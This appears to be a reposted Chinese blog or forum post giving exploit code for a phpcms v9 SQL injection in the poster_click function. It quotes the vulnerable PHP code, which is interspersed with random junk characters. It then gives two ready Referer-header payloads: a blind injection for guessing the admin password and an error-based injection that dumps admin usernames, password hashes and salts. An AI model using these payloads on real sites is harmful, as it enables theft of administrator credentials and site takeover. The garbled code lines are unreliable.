phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php

: {, `( u& O8 N" Z# j: l4 Kpublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
+ s& J3 b+ g, [+ T& M# G$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
" B+ k7 T4 }1 Z9 ?/ b1 R+ U) t$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
9 ?1 f9 i, m5 w$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
6 q1 R' O, W6 O1 G. [4 ?- B} else {
8 M# U9 F. r% j$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
9 Z- h1 o/ D2 S+ D}
; u& D- R2 e. V5 ~header('Location: '.$url);
/ c, R  _$ z5 F$ T3 `$ ^$ t}
/ J% a, N- y5 |+ @4 ?% h6 W
0 e: g; ~4 n; e" R) B, \3 z
6 c4 N  W0 S& }% b0 p9 p, n( B
利用方式：

1、可以采用盲注入的手法：
+ _& c5 s" k5 B7 l+ g+ F2 B8 I0 E
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

# V$ d1 {+ c7 m通过返回页面，正常与否一个个猜解密码字段。
7 C8 ?- w* i. t
2、代码是花开写的，随手附上了：
' R  n, D5 x1 l( C
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
